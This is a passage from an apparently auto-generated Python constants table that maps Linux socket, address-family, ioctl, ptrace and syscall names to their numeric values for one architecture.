Constant('SO_SELECT_ERR_QUEUE',45) SO_BUSY_POLL = Constant('SO_BUSY_POLL',46) SO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47) SO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48) SO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49) SO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50) SO_DETACH_BPF = Constant('SO_DETACH_BPF',27) SO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51) SO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52) SO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53) SCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54) SO_MEMINFO = Constant('SO_MEMINFO',55) SO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56) SO_COOKIE = Constant('SO_COOKIE',57) SCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58) SO_PEERGROUPS = Constant('SO_PEERGROUPS',59) SO_ZEROCOPY = Constant('SO_ZEROCOPY',60) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SOCK_DCCP = Constant('SOCK_DCCP',6) SOCK_PACKET = Constant('SOCK_PACKET',10) UIO_FASTIOV = Constant('UIO_FASTIOV',8) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02) SCM_CONNECT = Constant('SCM_CONNECT',0x03) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_LOCAL = Constant('AF_LOCAL',1) AF_INET = Constant('AF_INET',2) AF_AX25 = Constant('AF_AX25',3) AF_IPX = Constant('AF_IPX',4) AF_APPLETALK = Constant('AF_APPLETALK',5) AF_NETROM = Constant('AF_NETROM',6) AF_BRIDGE = Constant('AF_BRIDGE',7) AF_ATMPVC = Constant('AF_ATMPVC',8) AF_X25 = Constant('AF_X25',9) AF_INET6 = Constant('AF_INET6',10) AF_ROSE = Constant('AF_ROSE',11) AF_DECnet = Constant('AF_DECnet',12) AF_NETBEUI = Constant('AF_NETBEUI',13) AF_SECURITY = Constant('AF_SECURITY',14) AF_KEY = Constant('AF_KEY',15) AF_NETLINK = Constant('AF_NETLINK',16) AF_ROUTE = Constant('AF_ROUTE',16) AF_PACKET = Constant('AF_PACKET',17) AF_ASH = Constant('AF_ASH',18) AF_ECONET = Constant('AF_ECONET',19) AF_ATMSVC = Constant('AF_ATMSVC',20) AF_SNA = Constant('AF_SNA',22) AF_IRDA = Constant('AF_IRDA',23) AF_PPPOX = Constant('AF_PPPOX',24) AF_WANPIPE = Constant('AF_WANPIPE',25) AF_LLC = Constant('AF_LLC',26) AF_IB = Constant('AF_IB',27) AF_MPLS = Constant('AF_MPLS',28) AF_CAN = Constant('AF_CAN',29) AF_TIPC = Constant('AF_TIPC',30) AF_BLUETOOTH = Constant('AF_BLUETOOTH',31) AF_IUCV = Constant('AF_IUCV',32) AF_RXRPC = Constant('AF_RXRPC',33) AF_ISDN = Constant('AF_ISDN',34) AF_PHONET = Constant('AF_PHONET',35) AF_IEEE802154 = Constant('AF_IEEE802154',36) AF_CAIF = Constant('AF_CAIF',37) AF_ALG = Constant('AF_ALG',38) AF_NFC = Constant('AF_NFC',39) AF_VSOCK = Constant('AF_VSOCK',40) AF_KCM = Constant('AF_KCM',41) AF_QIPCRTR = Constant('AF_QIPCRTR',42) AF_SMC = Constant('AF_SMC',43) AF_MAX = Constant('AF_MAX',44) PF_UNSPEC = Constant('PF_UNSPEC',0) PF_UNIX = Constant('PF_UNIX',1) PF_LOCAL = Constant('PF_LOCAL',1) PF_INET = Constant('PF_INET',2) PF_AX25 = Constant('PF_AX25',3) PF_IPX = Constant('PF_IPX',4) PF_APPLETALK = Constant('PF_APPLETALK',5) PF_NETROM = Constant('PF_NETROM',6) PF_BRIDGE = Constant('PF_BRIDGE',7) PF_ATMPVC = Constant('PF_ATMPVC',8) PF_X25 = Constant('PF_X25',9) PF_INET6 = Constant('PF_INET6',10) PF_ROSE = Constant('PF_ROSE',11) PF_DECnet = Constant('PF_DECnet',12) PF_NETBEUI = Constant('PF_NETBEUI',13) PF_SECURITY = Constant('PF_SECURITY',14) PF_KEY = Constant('PF_KEY',15) PF_NETLINK = Constant('PF_NETLINK',16) PF_ROUTE = Constant('PF_ROUTE',16) PF_PACKET = Constant('PF_PACKET',17) PF_ASH = Constant('PF_ASH',18) PF_ECONET = Constant('PF_ECONET',19) PF_ATMSVC = Constant('PF_ATMSVC',20) PF_SNA = Constant('PF_SNA',22) PF_IRDA = Constant('PF_IRDA',23) PF_PPPOX = Constant('PF_PPPOX',24) PF_WANPIPE = Constant('PF_WANPIPE',25) PF_LLC = Constant('PF_LLC',26) PF_IB = Constant('PF_IB',27) PF_MPLS = Constant('PF_MPLS',28) PF_CAN = Constant('PF_CAN',29) PF_TIPC = Constant('PF_TIPC',30) PF_BLUETOOTH = Constant('PF_BLUETOOTH',31) PF_IUCV = Constant('PF_IUCV',32) PF_RXRPC = Constant('PF_RXRPC',33) PF_ISDN = Constant('PF_ISDN',34) PF_PHONET = Constant('PF_PHONET',35) PF_IEEE802154 = Constant('PF_IEEE802154',36) PF_CAIF = Constant('PF_CAIF',37) PF_ALG = Constant('PF_ALG',38) PF_NFC = Constant('PF_NFC',39) PF_VSOCK = Constant('PF_VSOCK',40) PF_KCM = Constant('PF_KCM',41) PF_QIPCRTR = Constant('PF_QIPCRTR',42) PF_SMC = Constant('PF_SMC',43) PF_MAX = Constant('PF_MAX',44) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',1) MSG_PEEK = Constant('MSG_PEEK',2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',4) MSG_TRYHARD = Constant('MSG_TRYHARD',4) MSG_CTRUNC = Constant('MSG_CTRUNC',8) MSG_PROBE = Constant('MSG_PROBE',0x10) MSG_TRUNC = Constant('MSG_TRUNC',0x20) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40) MSG_EOR = Constant('MSG_EOR',0x80) MSG_WAITALL = Constant('MSG_WAITALL',0x100) MSG_FIN = Constant('MSG_FIN',0x200) MSG_SYN = Constant('MSG_SYN',0x400) MSG_CONFIRM = Constant('MSG_CONFIRM',0x800) MSG_RST = Constant('MSG_RST',0x1000) MSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000) MSG_MORE = Constant('MSG_MORE',0x8000) MSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000) MSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000) MSG_BATCH = Constant('MSG_BATCH',0x40000) MSG_EOF = Constant('MSG_EOF',0x200) MSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000) MSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000) MSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000) SOL_IP = Constant('SOL_IP',0) SOL_TCP = Constant('SOL_TCP',6) SOL_UDP = Constant('SOL_UDP',17) SOL_IPV6 = Constant('SOL_IPV6',41) SOL_ICMPV6 = Constant('SOL_ICMPV6',58) SOL_SCTP = Constant('SOL_SCTP',132) SOL_UDPLITE = Constant('SOL_UDPLITE',136) SOL_RAW = Constant('SOL_RAW',255) SOL_IPX = Constant('SOL_IPX',256) SOL_AX25 = Constant('SOL_AX25',257) SOL_ATALK = Constant('SOL_ATALK',258) SOL_NETROM = Constant('SOL_NETROM',259) SOL_ROSE = Constant('SOL_ROSE',260) SOL_DECNET = Constant('SOL_DECNET',261) SOL_X25 = Constant('SOL_X25',262) SOL_PACKET = Constant('SOL_PACKET',263) SOL_ATM = Constant('SOL_ATM',264) SOL_AAL = Constant('SOL_AAL',265) SOL_IRDA = Constant('SOL_IRDA',266) SOL_NETBEUI = Constant('SOL_NETBEUI',267) SOL_LLC = Constant('SOL_LLC',268) SOL_DCCP = Constant('SOL_DCCP',269) SOL_NETLINK = Constant('SOL_NETLINK',270) SOL_TIPC = Constant('SOL_TIPC',271) SOL_RXRPC = Constant('SOL_RXRPC',272) SOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273) SOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274) SOL_PNPIPE = Constant('SOL_PNPIPE',275) SOL_RDS = Constant('SOL_RDS',276) SOL_IUCV = Constant('SOL_IUCV',277) SOL_CAIF = Constant('SOL_CAIF',278) SOL_ALG = Constant('SOL_ALG',279) SOL_NFC = Constant('SOL_NFC',280) SOL_KCM = Constant('SOL_KCM',281) SOL_TLS = Constant('SOL_TLS',282) IPX_TYPE = Constant('IPX_TYPE',1) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) NI_NOFQDN = Constant('NI_NOFQDN',1) NI_NUMERICHOST = Constant('NI_NUMERICHOST',2) NI_NAMEREQD = Constant('NI_NAMEREQD',4) NI_NUMERICSERV = Constant('NI_NUMERICSERV',8) NI_DGRAM = Constant('NI_DGRAM',16) EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FILE = Constant('MAP_FILE',0) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',330) SYS_accept4 = Constant('SYS_accept4',344) SYS_access = Constant('SYS_access',33) SYS_acct = Constant('SYS_acct',51) SYS_add_key = Constant('SYS_add_key',269) SYS_adjtimex = Constant('SYS_adjtimex',124) SYS_afs_syscall = Constant('SYS_afs_syscall',137) SYS_alarm = Constant('SYS_alarm',27) SYS_bdflush = Constant('SYS_bdflush',134) SYS_bind = Constant('SYS_bind',327) SYS_bpf = Constant('SYS_bpf',361) SYS_break = Constant('SYS_break',17) SYS_brk = Constant('SYS_brk',45) SYS_capget = Constant('SYS_capget',183) SYS_capset = Constant('SYS_capset',184) SYS_chdir = Constant('SYS_chdir',12) SYS_chmod = Constant('SYS_chmod',15) SYS_chown = Constant('SYS_chown',181) SYS_chroot = Constant('SYS_chroot',61) SYS_clock_adjtime = Constant('SYS_clock_adjtime',347) SYS_clock_getres = Constant('SYS_clock_getres',247) SYS_clock_gettime = Constant('SYS_clock_gettime',246) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',248) SYS_clock_settime = Constant('SYS_clock_settime',245) SYS_clone = Constant('SYS_clone',120) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',6) SYS_connect = Constant('SYS_connect',328) SYS_copy_file_range = Constant('SYS_copy_file_range',379) SYS_creat = Constant('SYS_creat',8) SYS_create_module = Constant('SYS_create_module',127) SYS_delete_module = Constant('SYS_delete_module',129) SYS_dup = Constant('SYS_dup',41) SYS_dup2 = Constant('SYS_dup2',63) SYS_dup3 = Constant('SYS_dup3',316) SYS_epoll_create = Constant('SYS_epoll_create',236) SYS_epoll_create1 = Constant('SYS_epoll_create1',315) SYS_epoll_ctl = Constant('SYS_epoll_ctl',237) SYS_epoll_pwait = Constant('SYS_epoll_pwait',303) SYS_epoll_wait = Constant('SYS_epoll_wait',238) SYS_eventfd = Constant('SYS_eventfd',307) SYS_eventfd2 = Constant('SYS_eventfd2',314) SYS_execve = Constant('SYS_execve',11) SYS_execveat = Constant('SYS_execveat',362) SYS_exit = Constant('SYS_exit',1) SYS_exit_group = Constant('SYS_exit_group',234) SYS_faccessat = Constant('SYS_faccessat',298) SYS_fadvise64 = Constant('SYS_fadvise64',233) SYS_fallocate = Constant('SYS_fallocate',309) SYS_fanotify_init = Constant('SYS_fanotify_init',323) SYS_fanotify_mark = Constant('SYS_fanotify_mark',324) SYS_fchdir = Constant('SYS_fchdir',133) SYS_fchmod = Constant('SYS_fchmod',94) SYS_fchmodat = Constant('SYS_fchmodat',297) SYS_fchown = Constant('SYS_fchown',95) SYS_fchownat = Constant('SYS_fchownat',289) SYS_fcntl = Constant('SYS_fcntl',55) SYS_fdatasync = Constant('SYS_fdatasync',148) SYS_fgetxattr = Constant('SYS_fgetxattr',214) SYS_finit_module = Constant('SYS_finit_module',353) SYS_flistxattr = Constant('SYS_flistxattr',217) SYS_flock = Constant('SYS_flock',143) SYS_fork = Constant('SYS_fork',2) SYS_fremovexattr = Constant('SYS_fremovexattr',220) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',211) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',108) SYS_fstatfs = Constant('SYS_fstatfs',100) SYS_fstatfs64 = Constant('SYS_fstatfs64',253) SYS_fsync = Constant('SYS_fsync',118) SYS_ftime = Constant('SYS_ftime',35) SYS_ftruncate = Constant('SYS_ftruncate',93) SYS_futex = Constant('SYS_futex',221) SYS_futimesat = Constant('SYS_futimesat',290) SYS_getcpu = Constant('SYS_getcpu',302) SYS_getcwd = Constant('SYS_getcwd',182) SYS_getdents = Constant('SYS_getdents',141) SYS_getdents64 = Constant('SYS_getdents64',202) SYS_getegid = Constant('SYS_getegid',50) SYS_geteuid = Constant('SYS_geteuid',49) SYS_getgid = Constant('SYS_getgid',47) SYS_getgroups = Constant('SYS_getgroups',80) SYS_getitimer = Constant('SYS_getitimer',105) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130) SYS_get_mempolicy = Constant('SYS_get_mempolicy',260) SYS_getpeername = Constant('SYS_getpeername',332) SYS_getpgid = Constant('SYS_getpgid',132) SYS_getpgrp = Constant('SYS_getpgrp',65) SYS_getpid = Constant('SYS_getpid',20) SYS_getpmsg = Constant('SYS_getpmsg',187) SYS_getppid = Constant('SYS_getppid',64) SYS_getpriority = Constant('SYS_getpriority',96) SYS_getrandom = Constant('SYS_getrandom',359) SYS_getresgid = Constant('SYS_getresgid',170) SYS_getresuid = Constant('SYS_getresuid',165) SYS_getrlimit = Constant('SYS_getrlimit',76) SYS_get_robust_list = Constant('SYS_get_robust_list',299) SYS_getrusage = Constant('SYS_getrusage',77) SYS_getsid = Constant('SYS_getsid',147) SYS_getsockname = Constant('SYS_getsockname',331) SYS_getsockopt = Constant('SYS_getsockopt',340) SYS_gettid = Constant('SYS_gettid',207) SYS_gettimeofday = Constant('SYS_gettimeofday',78) SYS_getuid = Constant('SYS_getuid',24) SYS_getxattr = Constant('SYS_getxattr',212) SYS_gtty = Constant('SYS_gtty',32) SYS_idle = Constant('SYS_idle',112) SYS_init_module = Constant('SYS_init_module',128) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',276) SYS_inotify_init = Constant('SYS_inotify_init',275) SYS_inotify_init1 = Constant('SYS_inotify_init1',318) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',277) SYS_io_cancel = Constant('SYS_io_cancel',231) SYS_ioctl = Constant('SYS_ioctl',54) SYS_io_destroy = Constant('SYS_io_destroy',228) SYS_io_getevents = Constant('SYS_io_getevents',229) SYS_ioperm = Constant('SYS_ioperm',101) SYS_io_pgetevents = Constant('SYS_io_pgetevents',388) SYS_iopl = Constant('SYS_iopl',110) SYS_ioprio_get = Constant('SYS_ioprio_get',274) SYS_ioprio_set = Constant('SYS_ioprio_set',273) SYS_io_setup = Constant('SYS_io_setup',227) SYS_io_submit = Constant('SYS_io_submit',230) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_ipc = Constant('SYS_ipc',117) SYS_kcmp = Constant('SYS_kcmp',354) SYS_kexec_file_load = Constant('SYS_kexec_file_load',382) SYS_kexec_load = Constant('SYS_kexec_load',268) SYS_keyctl = Constant('SYS_keyctl',271) SYS_kill = Constant('SYS_kill',37) SYS_lchown = Constant('SYS_lchown',16) SYS_lgetxattr = Constant('SYS_lgetxattr',213) SYS_link = Constant('SYS_link',9) SYS_linkat = Constant('SYS_linkat',294) SYS_listen = Constant('SYS_listen',329) SYS_listxattr = Constant('SYS_listxattr',215) SYS_llistxattr = Constant('SYS_llistxattr',216) SYS__llseek = Constant('SYS__llseek',140) SYS_lock = Constant('SYS_lock',53) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',235) SYS_lremovexattr = Constant('SYS_lremovexattr',219) SYS_lseek = Constant('SYS_lseek',19) SYS_lsetxattr = Constant('SYS_lsetxattr',210) SYS_lstat = Constant('SYS_lstat',107) SYS_madvise = Constant('SYS_madvise',205) SYS_mbind = Constant('SYS_mbind',259) SYS_membarrier = Constant('SYS_membarrier',365) SYS_memfd_create = Constant('SYS_memfd_create',360) SYS_mincore = Constant('SYS_mincore',206) SYS_mkdir = Constant('SYS_mkdir',39) SYS_mkdirat = Constant('SYS_mkdirat',287) SYS_mknod = Constant('SYS_mknod',14) SYS_mknodat = Constant('SYS_mknodat',288) SYS_mlock = Constant('SYS_mlock',150) SYS_mlock2 = Constant('SYS_mlock2',378) SYS_mlockall = Constant('SYS_mlockall',152) SYS_mmap = Constant('SYS_mmap',90) SYS_modify_ldt = Constant('SYS_modify_ldt',123) SYS_mount = Constant('SYS_mount',21) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',301) SYS_mprotect = Constant('SYS_mprotect',125) SYS_mpx = Constant('SYS_mpx',56) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',267) SYS_mq_notify = Constant('SYS_mq_notify',266) SYS_mq_open = Constant('SYS_mq_open',262) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',265) SYS_mq_timedsend = Constant('SYS_mq_timedsend',264) SYS_mq_unlink = Constant('SYS_mq_unlink',263) SYS_mremap = Constant('SYS_mremap',163) SYS_msgctl = Constant('SYS_msgctl',402) SYS_msgget = Constant('SYS_msgget',399) SYS_msgrcv = Constant('SYS_msgrcv',401) SYS_msgsnd = Constant('SYS_msgsnd',400) SYS_msync = Constant('SYS_msync',144) SYS_multiplexer = Constant('SYS_multiplexer',201) SYS_munlock = Constant('SYS_munlock',151) SYS_munlockall = Constant('SYS_munlockall',153) SYS_munmap = Constant('SYS_munmap',91) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',345) SYS_nanosleep = Constant('SYS_nanosleep',162) SYS_newfstatat = Constant('SYS_newfstatat',291) SYS__newselect = Constant('SYS__newselect',142) SYS_nfsservctl = Constant('SYS_nfsservctl',168) SYS_nice = Constant('SYS_nice',34) SYS_oldfstat = Constant('SYS_oldfstat',28) SYS_oldlstat = Constant('SYS_oldlstat',84) SYS_oldolduname = Constant('SYS_oldolduname',59) SYS_oldstat = Constant('SYS_oldstat',18) SYS_olduname = Constant('SYS_olduname',109) SYS_open = Constant('SYS_open',5) SYS_openat = Constant('SYS_openat',286) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',346) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',29) SYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',200) SYS_pciconfig_read = Constant('SYS_pciconfig_read',198) SYS_pciconfig_write = Constant('SYS_pciconfig_write',199) SYS_perf_event_open = Constant('SYS_perf_event_open',319) SYS_personality = Constant('SYS_personality',136) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = 